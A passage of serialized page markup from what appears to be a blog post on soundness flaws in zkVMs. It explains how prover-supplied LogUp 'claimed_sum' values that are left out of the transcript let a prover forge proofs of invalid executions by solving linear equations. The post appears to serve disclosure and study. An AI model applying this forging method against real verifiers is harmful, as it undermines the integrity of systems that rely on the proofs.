",{"type":24,"tag":156,"props":116469,"children":116471},{"className":116470},[7098,7099],[116472],{"type":24,"tag":930,"props":116473,"children":116475},{"className":116474},[7104],[116476],{"type":24,"tag":930,"props":116477,"children":116479},{"className":116478,"ariaHidden":7110},[7109],[116480],{"type":24,"tag":930,"props":116481,"children":116483},{"className":116482},[7115],[116484,116488],{"type":24,"tag":930,"props":116485,"children":116487},{"className":116486,"style":113316},[7120],[],{"type":24,"tag":930,"props":116489,"children":116491},{"className":116490},[7126,24690],[116492],{"type":30,"value":37},{"type":30,"value":116494}," contained ",{"type":24,"tag":156,"props":116496,"children":116498},{"className":116497},[7098,7099],[116499],{"type":24,"tag":930,"props":116500,"children":116502},{"className":116501},[7104],[116503],{"type":24,"tag":930,"props":116504,"children":116506},{"className":116505,"ariaHidden":7110},[7109],[116507],{"type":24,"tag":930,"props":116508,"children":116510},{"className":116509},[7115],[116511,116515],{"type":24,"tag":930,"props":116512,"children":116514},{"className":116513,"style":113316},[7120],[],{"type":24,"tag":930,"props":116516,"children":116518},{"className":116517,"style":96598},[7126,24690],[116519],{"type":30,"value":116379},{"type":30,"value":23163},{"type":24,"tag":33,"props":116522,"children":116523},{},[116524],{"type":30,"value":116525},"If everything balances, the execution is consistent.",{"type":24,"tag":33,"props":116527,"children":116528},{},[116529,116534],{"type":24,"tag":275,"props":116530,"children":116531},{},[116532],{"type":30,"value":116533},"The claimed_sum:",{"type":30,"value":116535}," Each component computes its contribution to the LogUp sum:",{"type":24,"tag":33,"props":116537,"children":116538},{},[116539],{"type":24,"tag":156,"props":116540,"children":116542},{"className":116541},[7098,7099],[116543],{"type":24,"tag":930,"props":116544,"children":116546},{"className":116545},[7104],[116547],{"type":24,"tag":930,"props":116548,"children":116550},{"className":116549,"ariaHidden":7110},[7109],[116551,116649,116900],{"type":24,"tag":930,"props":116552,"children":116554},{"className":116553},[7115],[116555,116559,116569,116574,116636,116640,116645],{"type":24,"tag":930,"props":116556,"children":116558},{"className":116557,"style":97525},[7120],[],{"type":24,"tag":930,"props":116560,"children":116562},{"className":116561},[7126,30],[116563],{"type":24,"tag":930,"props":116564,"children":116566},{"className":116565},[7126],[116567],{"type":30,"value":116568},"claimed",{"type":24,"tag":930,"props":116570,"children":116572},{"className":116571,"style":96112},[7126],[116573],{"type":30,"value":6204},{"type":24,"tag":930,"props":116575,"children":116577},{"className":116576},[7126],[116578,116587],{"type":24,"tag":930,"props":116579,"children":116581},{"className":116580},[7126,30],[116582],{"type":24,"tag":930,"props":116583,"children":116585},{"className":116584},[7126],[116586],{"type":30,"value":79711},{"type":24,"tag":930,"props":116588,"children":116590},{"className":116589},[7142],[116591],{"type":24,"tag":930,"props":116592,"children":116594},{"className":116593},[7147,24743],[116595,116625],{"type":24,"tag":930,"props":116596,"children":116598},{"className":116597},[7152],[116599,116620],{"type":24,"tag":930,"props":116600,"children":116602},{"className":116601,"style":96641},[7157],[116603],{"type":24,"tag":930,"props":116604,"children":116606},{"style":116605},"top:-2.55em;margin-right:0.05em;",[116607,116611],{"type":24,"tag":930,"props":116608,"children":116610},{"className":116609,"style":7167},[7166],[],{"type":24,"tag":930,"props":116612,"children":116614},{"className":116613},[7172,7173,7174,7175],[116615],{"type":24,"tag":930,"props":116616,"children":116618},{"className":116617},[7126,24690,7175],[116619],{"type":30,"value":6854},{"type":24,"tag":930,"props":116621,"children":116623},{"className":116622},[24846],[116624],{"type":30,"value":24849},{"type":24,"tag":930,"props":116626,"children":116628},{"className":116627},[7152],[116629],{"type":24,"tag":930,"props":116630,"children":116632},{"className":116631,"style":96195},[7157],[116633],{"type":24,"tag":930,"props":116634,"children":116635},{},[],{"type":24,"tag":930,"props":116637,"children":116639},{"className":116638,"style":7304},[7206],[],{"type":24,"tag":930,"props":116641,"children":116643},{"className":116642},[7309],[116644],{"type":30,"value":1161},{"type":24,"tag":930,"props":116646,"children":116648},{"className":116647,"style":7304},[7206],[],{"type":24,"tag":930,"props":116650,"children":116652},{"className":116651},[7115],[116653,116658,116718,116722,116887,116891,116896],{"type":24,"tag":930,"props":116654,"children":116657},{"className":116655,"style":116656},[7120],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":24,"tag":930,"props":116659,"children":116661},{"className":116660},[24725],[116662,116667],{"type":24,"tag":930,"props":116663,"children":116665},{"className":116664,"style":24732},[24725,24730,24731],[116666],{"type":30,"value":111270},{"type":24,"tag":930,"props":116668,"children":116670},{"className":116669},[7142],[116671],{"type":24,"tag":930,"props":116672,"children":116674},{"className":116673},[7147,24743],[116675,116706],{"type":24,"tag":930,"props":116676,"children":116678},{"className":116677},[7152],[116679,116701],{"type":24,"tag":930,"props":116680,"children":116683},{"className":116681,"style":116682},[7157],"height:0.162em;",[116684],{"type":24,"tag":930,"props":116685,"children":116686},{"style":24756},[116687,116691],{"type":24,"tag":930,"props":116688,"children":116690},{"className":116689,"style":7167},[7166],[],{"type":24,"tag":930,"props":116692,"children":116694},{"className":116693},[7172,7173,7174,7175],[116695],{"type":24,"tag":930,"props":116696,"children":116699},{"className":116697,"style":116698},[7126,24690,7175],"margin-right:0.05724em;",[116700],{"type":30,"value":11765},{"type":24,"tag":930,"props":116702,"children":116704},{"className":116703},[24846],[116705],{"type":30,"value":24849},{"type":24,"tag":930,"props":116707,"children":116709},{"className":116708},[7152],[116710],{"type":24,"tag":930,"props":116711,"children":116714},{"className":116712,"style":116713},[7157],"height:0.4358em;",[116715],{"type":24,"tag":930,"props":116716,"children":116717},{},[],{"type":24,"tag":930,"props":116719,"children":116721},{"className":116720,"style":7245},[7206],[],{"type":24,"tag":930,"props":116723,"children":116725},{"className":116724},[7126],[116726,116730,116883],{"type":24,"tag":930,"props":116727,"children":116729},{"className":116728},[24818,115993],[],{"type":24,"tag":930,"props":116731,"children":116733},{"className":116732},[115998],[116734],{"type":24,"tag":930,"props":116735,"children":116737},{"className":116736},[7147,24743],[116738,116871],{"type":24,"tag":930,"props":116739,"children":116741},{"className":116740},[7152],[116742,116866],{"type":24,"tag":930,"props":116743,"children":116745},{"className":116744,"style":116011},[7157],[116746,116835,116846],{"type":24,"tag":930,"props":116747,"children":116748},{"style":116015},[116749,116753],{"type":24,"tag":930,"props":116750,"children":116752},{"className":116751,"style":114646},[7166],[],{"type":24,"tag":930,"props":116754,"children":116756},{"className":116755},[7172,7173,7174,7175],[116757],{"type":24,"tag":930,"props":116758,"children":116760},{"className":116759},[7126,7175],[116761,116766,116771],{"type":24,"tag":930,"props":116762,"children":116764},{"className":116763,"style":116032},[7126,24690,7175],[116765],{"type":30,"value":116035},{"type":24,"tag":930,"props":116767,"children":116769},{"className":116768},[7212,7175],[116770],{"type":30,"value":7186},{"type":24,"tag":930,"props":116772,"children":116774},{"className":116773},[7126,7175],[116775,116784],{"type":24,"tag":930,"props":116776,"children":116778},{"className":116777},[7126,30,7175],[116779],{"type":24,"tag":930,"props":116780,"children":116782},{"className":116781},[7126,7175],[116783],{"type":30,"value":65094},{"type":24,"tag":930,"props":116785,"children":116787},{"className":116786},[7142],[116788],{"type":24,"tag":930,"props":116789,"children":116791},{"className":116790},[7147,24743],[116792,116823],{"type":24,"tag":930,"props":116793,"children":116795},{"className":116794},[7152],[116796,116818],{"type":24,"tag":930,"props":116797,"children":116800},{"className":116798,"style":116799},[7157],"height:0.3281em;",[116801],{"type":24,"tag":930,"props":116802,"children":116804},{"style":116803},"top:-2.357em;margin-right:0.0714em;",[116805,116809],{"type":24,"tag":930,"props":116806,"children":116808},{"className":116807,"style":111335},[7166],[],{"type":24,"tag":930,"props":116810,"children":116812},{"className":116811},[7172,111340,111341,7175],[116813],{"type":24,"tag":930,"props":116814,"children":116816},{"className":116815,"style":116698},[7126,24690,7175],[116817],{"type":30,"value":11765},{"type":24,"tag":930,"props":116819,"children":116821},{"className":116820},[24846],[116822],{"type":30,"value":24849},{"type":24,"tag":930,"props":116824,"children":116826},{"className":116825},[7152],[116827],{"type":24,"tag":930,"props":116828,"children":116831},{"className":116829,"style":116830},[7157],"height:0.2819em;",[116832],{"type":24,"tag":930,"props":116833,"children":116834},{},[],{"type":24,"tag":930,"props":116836,"children":116837},{"style":116048},[116838,116842],{"type":24,"tag":930,"props":116839,"children":116841},{"className":116840,"style":114646},[7166],[],{"type":24,"tag":930,"props":116843,"children":116845},{"className":116844,"style":116058},[116057],[],{"type":24,"tag":930,"props":116847,"children":116848},{"style":116062},[116849,116853],{"type":24,"tag":930,"props":116850,"children":116852},{"className":116851,"style":114646},[7166],[],{"type":24,"tag":930,"props":116854,"children":116856},{"className":116855},[7172,7173,7174,7175],[116857],{"type":24,"tag":930,"props":116858,"children":116860},{"className":116859},[7126,7175],[116861],{"type":24,"tag":930,"props":116862,"children":116864},{"className":116863},[7126,7175],[116865],{"type":30,"value":7129},{"type":24,"tag":930,"props":116867,"children":116869},{"className":116868},[24846],[116870],{"type":30,"value":24849},{"type":24,"tag":930,"props":116872,"children":116874},{"className":116873},[7152],[116875],{"type":24,"tag":930,"props":116876,"children":116879},{"className":116877,"style":116878},[7157],"height:0.5423em;",[116880],{"type":24,"tag":930,"props":116881,"children":116882},{},[],{"type":24,"tag":930,"props":116884,"children":116886},{"className":116885},[24840,115993],[],{"type":24,"tag":930,"props":116888,"children":116890},{"className":116889,"style":7207},[7206],[],{"type":24,"tag":930,"props":116892,"children":116894},{"className":116893},[7212],[116895],{"type":30,"value":7186},{"type":24,"tag":930,"props":116897,"children":116899},{"className":116898,"style":7207},[7206],[],{"type":24,"tag":930,"props":116901,"children":116903},{"className":116902},[7115],[116904,116909,116967,116971],{"type":24,"tag":930,"props":116905,"children":116908},{"className":116906,"style":116907},[7120],"height:1.296em;vertical-align:-0.4509em;",[],{"type":24,"tag":930,"props":116910,"children":116912},{"className":116911},[24725],[116913,116918],{"type":24,"tag":930,"props":116914,"children":116916},{"className":116915,"style":24732},[24725,24730,24731],[116917],{"type":30,"value":111270},{"type":24,"tag":930,"props":116919,"children":116921},{"className":116920},[7142],[116922],{"type":24,"tag":930,"props":116923,"children":116925},{"className":116924},[7147,24743],[116926,116955],{"type":24,"tag":930,"props":116927,"children":116929},{"className":116928},[7152],[116930,116950],{"type":24,"tag":930,"props":116931,"children":116933},{"className":116932,"style":116147},[7157],[116934],{"type":24,"tag":930,"props":116935,"children":116936},{"style":24756},[116937,116941],{"type":24,"tag":930,"props":116938,"children":116940},{"className":116939,"style":7167},[7166],[],{"type":24,"tag":930,"props":116942,"children":116944},{"className":116943},[7172,7173,7174,7175],[116945],{"type":24,"tag":930,"props":116946,"children":116948},{"className":116947,"style":97541},[7126,24690,7175],[116949],{"type":30,"value":91752},{"type":24,"tag":930,"props":116951,"children":116953},{"className":116952},[24846],[116954],{"type":30,"value":24849},{"type":24,"tag":930,"props":116956,"children":116958},{"className":116957},[7152],[116959],{"type":24,"tag":930,"props":116960,"children":116963},{"className":116961,"style":116962},[7157],"height:0.2997em;",[116964],{"type":24,"tag":930,"props":116965,"children":116966},{},[],{"type":24,"tag":930,"props":116968,"children":116970},{"className":116969,"style":7245},[7206],[],{"type":24,"tag":930,"props":116972,"children":116974},{"className":116973},[7126],[116975,116979,117132],{"type":24,"tag":930,"props":116976,"children":116978},{"className":116977},[24818,115993],[],{"type":24,"tag":930,"props":116980,"children":116982},{"className":116981},[115998],[116983],{"type":24,"tag":930,"props":116984,"children":116986},{"className":116985},[7147,24743],[116987,117120],{"type":24,"tag":930,"props":116988,"children":116990},{"className":116989},[7152],[116991,117115],{"type":24,"tag":930,"props":116992,"children":116994},{"className":116993,"style":116011},[7157],[116995,117084,117095],{"type":24,"tag":930,"props":116996,"children":116997},{"style":116015},[116998,117002],{"type":24,"tag":930,"props":116999,"children":117001},{"className":117000,"style":114646},[7166],[],{"type":24,"tag":930,"props":117003,"children":117005},{"className":117004},[7172,7173,7174,7175],[117006],{"type":24,"tag":930,"props":117007,"children":117009},{"className":117008},[7126,7175],[117010,117015,117020],{"type":24,"tag":930,"props":117011,"children":117013},{"className":117012,"style":116032},[7126,24690,7175],[117014],{"type":30,"value":116035},{"type":24,"tag":930,"props":117016,"children":117018},{"className":117017},[7212,7175],[117019],{"type":30,"value":7186},{"type":24,"tag":930,"props":117021,"children":117023},{"className":117022},[7126,7175],[117024,117034],{"type":24,"tag":930,"props":117025,"children":117027},{"className":117026},[7126,30,7175],[117028],{"type":24,"tag":930,"props":117029,"children":117031},{"className":117030},[7126,7175],[117032],{"type":30,"value":117033},"consume",{"type":24,"tag":930,"props":117035,"children":117037},{"className":117036},[7142],[117038],{"type":24,"tag":930,"props":117039,"children":117041},{"className":117040},[7147,24743],[117042,117072],{"type":24,"tag":930,"props":117043,"children":117045},{"className":117044},[7152],[117046,117067],{"type":24,"tag":930,"props":117047,"children":117049},{"className":117048,"style":114807},[7157],[117050],{"type":24,"tag":930,"props":117051,"children":117053},{"style":117052},"top:-2.3488em;margin-right:0.0714em;",[117054,117058],{"type":24,"tag":930,"props":117055,"children":117057},{"className":117056,"style":111335},[7166],[],{"type":24,"tag":930,"props":117059,"children":117061},{"className":117060},[7172,111340,111341,7175],[117062],{"type":24,"tag":930,"props":117063,"children":117065},{"className":117064,"style":97541},[7126,24690,7175],[117066],{"type":30,"value":91752},{"type":24,"tag":930,"props":117068,"children":117070},{"className":117069},[24846],[117071],{"type":30,"value":24849},{"type":24,"tag":930,"props":117073,"children":117075},{"className":117074},[7152],[117076],{"type":24,"tag":930,"props":117077,"children":117080},{"className":117078,"style":117079},[7157],"height:0.1512em;",[117081],{"type":24,"tag":930,"props":117082,"children":117083},{},[],{"type":24,"tag":930,"props":117085,"children":117086},{"style":116048},[117087,117091],{"type":24,"tag":930,"props":117088,"children":117090},{"className":117089,"style":114646},[7166],[],{"type":24,"tag":930,"props":117092,"children":117094},{"className":117093,"style":116058},[116057],[],{"type":24,"tag":930,"props":117096,"children":117097},{"style":116062},[117098,117102],{"type":24,"tag":930,"props":117099,"children":117101},{"className":117100,"style":114646},[7166],[],{"type":24,"tag":930,"props":117103,"children":117105},{"className":117104},[7172,7173,7174,7175],[117106],{"type":24,"tag":930,"props":117107,"children":117109},{"className":117108},[7126,7175],[117110],{"type":24,"tag":930,"props":117111,"children":117113},{"className":117112},[7126,7175],[117114],{"type":30,"value":7129},{"type":24,"tag":930,"props":117116,"children":117118},{"className":117117},[24846],[117119],{"type":30,"value":24849},{"type":24,"tag":930,"props":117121,"children":117123},{"className":117122},[7152],[117124],{"type":24,"tag":930,"props":117125,"children":117128},{"className":117126,"style":117127},[7157],"height:0.4509em;",[117129],{"type":24,"tag":930,"props":117130,"children":117131},{},[],{"type":24,"tag":930,"props":117133,"children":117135},{"className":117134},[24840,115993],[],{"type":24,"tag":33,"props":117137,"children":117138},{},[117139,117141,117323],{"type":30,"value":117140},"The global check: ",{"type":24,"tag":156,"props":117142,"children":117144},{"className":117143},[7098,7099],[117145],{"type":24,"tag":930,"props":117146,"children":117148},{"className":117147},[7104],[117149],{"type":24,"tag":930,"props":117150,"children":117152},{"className":117151,"ariaHidden":7110},[7109],[117153,117310],{"type":24,"tag":930,"props":117154,"children":117156},{"className":117155},[7115],[117157,117161,117218,117222,117231,117236,117297,117301,117306],{"type":24,"tag":930,"props":117158,"children":117160},{"className":117159,"style":96054},[7120],[],{"type":24,"tag":930,"props":117162,"children":117164},{"className":117163},[24725],[117165,117170],{"type":24,"tag":930,"props":117166,"children":117168},{"className":117167,"style":24732},[24725,24730,24731],[117169],{"type":30,"value":111270},{"type":24,"tag":930,"props":117171,"children":117173},{"className":117172},[7142],[117174],{"type":24,"tag":930,"props":117175,"children":117177},{"className":117176},[7147,24743],[117178,117207],{"type":24,"tag":930,"props":117179,"children":117181},{"className":117180},[7152],[117182,117202],{"type":24,"tag":930,"props":117183,"children":117185},{"className":117184,"style":116682},[7157],[117186],{"type":24,"tag":930,"props":117187,"children":117188},{"style":24756},[117189,117193],{"type":24,"tag":930,"props":117190,"children":117192},{"className":117191,"style":7167},[7166],[],{"type":24,"tag":930,"props":117194,"children":117196},{"className":117195},[7172,7173,7174,7175],[117197],{"type":24,"tag":930,"props":117198,"children":117200},{"className":117199},[7126,24690,7175],[117201],{"type":30,"value":6854},{"type":24,"tag":930,"props":117203,"children":117205},{"className":117204},[24846],[117206],{"type":30,"value":24849},{"type":24,"tag":930,"props":117208,"children":117210},{"className":117209},[7152],[117211],{"type":24,"tag":930,"props":117212,"children":117214},{"className":117213,"style":116962},[7157],[117215],{"type":24,"tag":930,"props":117216,"children":117217},{},[],{"type":24,"tag":930,"props":117219,"children":117221},{"className":117220,"style":7245},[7206],[],{"type":24,"tag":930,"props":117223,"children":117225},{"className":117224},[7126,30],[117226],{"type":24,"tag":930,"props":117227,"children":117229},{"className":117228},[7126],[117230],{"type":30,"value":116568},{"type":24,"tag":930,"props":117232,"children":117234},{"className":117233,"style":96112},[7126],[117235],{"type":30,"value":6204},{"type":24,"tag":930,"props":117237,"children":117239},{"className":117238},[7126],[117240,117249],{"type":24,"tag":930,"props":117241,"children":117243},{"className":117242},[7126,30],[117244],{"type":24,"tag":930,"props":117245,"children":117247},{"className":117246},[7126],[117248],{"type":30,"value":79711},{"type":24,"tag":930,"props":117250,"children":117252},{"className":117251},[7142],[117253],{"type":24,"tag":930,"props":117254,"children":117256},{"className":117255},[7147,24743],[117257,117286],{"type":24,"tag":930,"props":117258,"children":117260},{"className":117259},[7152],[117261,117281],{"type":24,"tag":930,"props":117262,"children":117264},{"className":117263,"style":96641},[7157],[117265],{"type":24,"tag":930,"props":117266,"children":117267},{"style":116605},[117268,117272],{"type":24,"tag":930,"props":117269,"children":117271},{"className":117270,"style":7167},[7166],[],{"type":24,"tag":930,"props":117273,"children":117275},{"className":117274},[7172,7173,7174,7175],[117276],{"type":24,"tag":930,"props":117277,"children":117279},{"className":117278},[7126,24690,7175],[117280],{"type":30,"value":6854},{"type":24,"tag":930,"props":117282,"children":117284},{"className":117283},[24846],[117285],{"type":30,"value":24849},{"type":24,"tag":930,"props":117287,"children":117289},{"className":117288},[7152],[117290],{"type":24,"tag":930,"props":117291,"children":117293},{"className":117292,"style":96195},[7157],[117294],{"type":24,"tag":930,"props":117295,"children":117296},{},[],{"type":24,"tag":930,"props":117298,"children":117300},{"className":117299,"style":7304},[7206],[],{"type":24,"tag":930,"props":117302,"children":117304},{"className":117303},[7309],[117305],{"type":30,"value":1161},{"type":24,"tag":930,"props":117307,"children":117309},{"className":117308,"style":7304},[7206],[],{"type":24,"tag":930,"props":117311,"children":117313},{"className":117312},[7115],[117314,117318],{"type":24,"tag":930,"props":117315,"children":117317},{"className":117316,"style":97143},[7120],[],{"type":24,"tag":930,"props":117319,"children":117321},{"className":117320},[7126],[117322],{"type":30,"value":1818},{"type":30,"value":436},{"type":24,"tag":33,"props":117325,"children":117326},{},[117327,117332,117334,117340],{"type":24,"tag":275,"props":117328,"children":117329},{},[117330],{"type":30,"value":117331},"Why this is vulnerable:",{"type":30,"value":117333}," The ",{"type":24,"tag":156,"props":117335,"children":117337},{"className":117336},[],[117338],{"type":30,"value":117339},"claimed_sum",{"type":30,"value":117341}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":24,"tag":21895,"props":117343,"children":117344},{},[],{"type":24,"tag":68,"props":117346,"children":117348},{"id":117347},"the-universal-attack-pattern",[117349],{"type":30,"value":117350},"The Universal Attack Pattern",{"type":24,"tag":33,"props":117352,"children":117353},{},[117354],{"type":30,"value":117355},"Now we can describe the attack pattern that works on all six systems:",{"type":24,"tag":33,"props":117357,"children":117358},{},[117359],{"type":24,"tag":140,"props":117360,"children":117363},{"alt":117361,"src":117362},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":24,"tag":33,"props":117365,"children":117366},{},[117367,117369,117394],{"type":30,"value":117368},"When a value ",{"type":24,"tag":156,"props":117370,"children":117372},{"className":117371},[7098,7099],[117373],{"type":24,"tag":930,"props":117374,"children":117376},{"className":117375},[7104],[117377],{"type":24,"tag":930,"props":117378,"children":117380},{"className":117379,"ariaHidden":7110},[7109],[117381],{"type":24,"tag":930,"props":117382,"children":117384},{"className":117383},[7115],[117385,117389],{"type":24,"tag":930,"props":117386,"children":117388},{"className":117387,"style":24685},[7120],[],{"type":24,"tag":930,"props":117390,"children":117392},{"className":117391,"style":110673},[7126,24690],[117393],{"type":30,"value":110997},{"type":30,"value":117395}," isn't transcript-bound:",{"type":24,"tag":478,"props":117397,"children":117398},{},[117399,117430,117507,117652],{"type":24,"tag":100,"props":117400,"children":117401},{},[117402,117404,117429],{"type":30,"value":117403},"Challenges are fixed (independent of ",{"type":24,"tag":156,"props":117405,"children":117407},{"className":117406},[7098,7099],[117408],{"type":24,"tag":930,"props":117409,"children":117411},{"className":117410},[7104],[117412],{"type":24,"tag":930,"props":117413,"children":117415},{"className":117414,"ariaHidden":7110},[7109],[117416],{"type":24,"tag":930,"props":117417,"children":117419},{"className":117418},[7115],[117420,117424],{"type":24,"tag":930,"props":117421,"children":117423},{"className":117422,"style":24685},[7120],[],{"type":24,"tag":930,"props":117425,"children":117427},{"className":117426,"style":110673},[7126,24690],[117428],{"type":30,"value":110997},{"type":30,"value":6249},{"type":24,"tag":100,"props":117431,"children":117432},{},[117433,117435],{"type":30,"value":117434},"The verification equation has form: ",{"type":24,"tag":156,"props":117436,"children":117438},{"className":117437},[7098,7099],[117439],{"type":24,"tag":930,"props":117440,"children":117442},{"className":117441},[7104],[117443],{"type":24,"tag":930,"props":117444,"children":117446},{"className":117445,"ariaHidden":7110},[7109],[117447,117488],{"type":24,"tag":930,"props":117448,"children":117450},{"className":117449},[7115],[117451,117455,117460,117465,117470,117475,117479,117484],{"type":24,"tag":930,"props":117452,"children":117454},{"className":117453,"style":7227},[7120],[],{"type":24,"tag":930,"props":117456,"children":117458},{"className":117457,"style":98466},[7126,24690],[117459],{"type":30,"value":36173},{"type":24,"tag":930,"props":117461,"children":117463},{"className":117462},[24818],[117464],{"type":30,"value":1010},{"type":24,"tag":930,"props":117466,"children":117468},{"className":117467,"style":110673},[7126,24690],[117469],{"type":30,"value":110997},{"type":24,"tag":930,"props":117471,"children":117473},{"className":117472},[24840],[117474],{"type":30,"value":6249},{"type":24,"tag":930,"props":117476,"children":117478},{"className":117477,"style":7304},[7206],[],{"type":24,"tag":930,"props":117480,"children":117482},{"className":117481},[7309],[117483],{"type":30,"value":1161},{"type":24,"tag":930,"props":117485,"children":117487},{"className":117486,"style":7304},[7206],[],{"type":24,"tag":930,"props":117489,"children":117491},{"className":117490},[7115],[117492,117497],{"type":24,"tag":930,"props":117493,"children":117496},{"className":117494,"style":117495},[7120],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":24,"tag":930,"props":117498,"children":117500},{"className":117499},[7126,30],[117501],{"type":24,"tag":930,"props":117502,"children":117504},{"className":117503},[7126],[117505],{"type":30,"value":117506},"target",{"type":24,"tag":100,"props":117508,"children":117509},{},[117510,117511,117537,117539],{"type":30,"value":3710},{"type":24,"tag":156,"props":117512,"children":117514},{"className":117513},[7098,7099],[117515],{"type":24,"tag":930,"props":117516,"children":117518},{"className":117517},[7104],[117519],{"type":24,"tag":930,"props":117520,"children":117522},{"className":117521,"ariaHidden":7110},[7109],[117523],{"type":24,"tag":930,"props":117524,"children":117526},{"className":117525},[7115],[117527,117532],{"type":24,"tag":930,"props":117528,"children":117531},{"className":117529,"style":117530},[7120],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":24,"tag":930,"props":117533,"children":117535},{"className":117534,"style":98466},[7126,24690],[117536],{"type":30,"value":36173},{"type":30,"value":117538}," is linear: ",{"type":24,"tag":156,"props":117540,"children":117542},{"className":117541},[7098,7099],[117543],{"type":24,"tag":930,"props":117544,"children":117546},{"className":117545},[7104],[117547],{"type":24,"tag":930,"props":117548,"children":117550},{"className":117549,"ariaHidden":7110},[7109],[117551,117580,117607,117635],{"type":24,"tag":930,"props":117552,"children":117554},{"className":117553},[7115],[117555,117560,117567,117571,117576],{"type":24,"tag":930,"props":117556,"children":117559},{"className":117557,"style":117558},[7120],"height:0.4445em;",[],{"type":24,"tag":930,"props":117561,"children":117564},{"className":117562,"style":117563},[7126,24690],"margin-right:0.0037em;",[117565],{"type":30,"value":117566},"α",{"type":24,"tag":930,"props":117568,"children":117570},{"className":117569,"style":7207},[7206],[],{"type":24,"tag":930,"props":117572,"children":117574},{"className":117573},[7212],[117575],{"type":30,"value":113737},{"type":24,"tag":930,"props":117577,"children":117579},{"className":117578,"style":7207},[7206],[],{"type":24,"tag":930,"props":117581,"children":117583},{"className":117582},[7115],[117584,117589,117594,117598,117603],{"type":24,"tag":930,"props":117585,"children":117588},{"className":117586,"style":117587},[7120],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":24,"tag":930,"props":117590,"children":117592},{"className":117591,"style":110673},[7126,24690],[117593],{"type":30,"value":110997},{"type":24,"tag":930,"props":117595,"children":117597},{"className":117596,"style":7207},[7206],[],{"type":24,"tag":930,"props":117599,"children":117601},{"className":117600},[7212],[117602],{"type":30,"value":1400},{"type":24,"tag":930,"props":117604,"children":117606},{"className":117605,"style":7207},[7206],[],{"type":24,"tag":930,"props":117608,"children":117610},{"className":117609},[7115],[117611,117615,117622,117626,117631],{"type":24,"tag":930,"props":117612,"children":117614},{"className":117613,"style":117530},[7120],[],{"type":24,"tag":930,"props":117616,"children":117619},{"className":117617,"style":117618},[7126,24690],"margin-right:0.05278em;",[117620],{"type":30,"value":117621},"β",{"type":24,"tag":930,"props":117623,"children":117625},{"className":117624,"style":7304},[7206],[],{"type":24,"tag":930,"props":117627,"children":117629},{"className":117628},[7309],[117630],{"type":30,"value":1161},{"type":24,"tag":930,"props":117632,"children":117634},{"className":117633,"style":7304},[7206],[],{"type":24,"tag":930,"props":117636,"children":117638},{"className":117637},[7115],[117639,117643],{"type":24,"tag":930,"props":117640,"children":117642},{"className":117641,"style":117495},[7120],[],{"type":24,"tag":930,"props":117644,"children":117646},{"className":117645},[7126,30],[117647],{"type":24,"tag":930,"props":117648,"children":117650},{"className":117649},[7126],[117651],{"type":30,"value":117506},{"type":24,"tag":100,"props":117653,"children":117654},{},[117655,117657],{"type":30,"value":117656},"Solve: ",{"type":24,"tag":156,"props":117658,"children":117660},{"className":117659},[7098,7099],[117661],{"type":24,"tag":930,"props":117662,"children":117664},{"className":117663},[7104],[117665],{"type":24,"tag":930,"props":117666,"children":117668},{"className":117667,"ariaHidden":7110},[7109],[117669,117695,117730],{"type":24,"tag":930,"props":117670,"children":117672},{"className":117671},[7115],[117673,117677,117682,117686,117691],{"type":24,"tag":930,"props":117674,"children":117676},{"className":117675,"style":24685},[7120],[],{"type":24,"tag":930,"props":117678,"children":117680},{"className":117679,"style":110673},[7126,24690],[117681],{"type":30,"value":110997},{"type":24,"tag":930,"props":117683,"children":117685},{"className":117684,"style":7304},[7206],[],{"type":24,"tag":930,"props":117687,"children":117689},{"className":117688},[7309],[117690],{"type":30,"value":1161},{"type":24,"tag":930,"props":117692,"children":117694},{"className":117693,"style":7304},[7206],[],{"type":24,"tag":930,"props":117696,"children":117698},{"className":117697},[7115],[117699,117703,117708,117717,117721,117726],{"type":24,"tag":930,"props":117700,"children":117702},{"className":117701,"style":7227},[7120],[],{"type":24,"tag":930,"props":117704,"children":117706},{"className":117705},[24818],[117707],{"type":30,"value":1010},{"type":24,"tag":930,"props":117709,"children":117711},{"className":117710},[7126,30],[117712],{"type":24,"tag":930,"props":117713,"children":117715},{"className":117714},[7126],[117716],{"type":30,"value":117506},{"type":24,"tag":930,"props":117718,"children":117720},{"className":117719,"style":7207},[7206],[],{"type":24,"tag":930,"props":117722,"children":117724},{"className":117723},[7212],[117725],{"type":30,"value":7186},{"type":24,"tag":930,"props":117727,"children":117729},{"className":117728,"style":7207},[7206],[],{"type":24,"tag":930,"props":117731,"children":117733},{"className":117732},[7115],[117734,117738,117743,117748,117753],{"type":24,"tag":930,"props":117735,"children":117737},{"className":117736,"style":7227},[7120],[],{"type":24,"tag":930,"props":117739,"children":117741},{"className":117740,"style":117618},[7126,24690],[117742],{"type":30,"value":117621},{"type":24,"tag":930,"props":117744,"children":117746},{"className":117745},[24840],[117747],{"type":30,"value":6249},{"type":24,"tag":930,"props":117749,"children":117751},{"className":117750},[7126],[117752],{"type":30,"value":1471},{"type":24,"tag":930,"props":117754,"children":117756},{"className":117755,"style":117563},[7126,24690],[117757],{"type":30,"value":117566},{"type":24,"tag":33,"props":117759,"children":117760},{},[117761],{"type":30,"value":117762},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":24,"tag":33,"props":117764,"children":117765},{},[117766,117768,117846],{"type":30,"value":117767},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":24,"tag":156,"props":117769,"children":117771},{"className":117770},[7098,7099],[117772],{"type":24,"tag":930,"props":117773,"children":117775},{"className":117774},[7104],[117776],{"type":24,"tag":930,"props":117777,"children":117779},{"className":117778,"ariaHidden":7110},[7109],[117780],{"type":24,"tag":930,"props":117781,"children":117783},{"className":117782},[7115],[117784,117789,117795,117800,117841],{"type":24,"tag":930,"props":117785,"children":117788},{"className":117786,"style":117787},[7120],"height:1.0641em;vertical-align:-0.25em;",[],{"type":24,"tag":930,"props":117790,"children":117792},{"className":117791,"style":96112},[7126,24690],[117793],{"type":30,"value":117794},"O",{"type":24,"tag":930,"props":117796,"children":117798},{"className":117797},[24818],[117799],{"type":30,"value":1010},{"type":24,"tag":930,"props":117801,"children":117803},{"className":117802},[7126],[117804,117809],{"type":24,"tag":930,"props":117805,"children":117807},{"className":117806},[7126,24690],[117808],{"type":30,"value":59493},{"type":24,"tag":930,"props":117810,"children":117812},{"c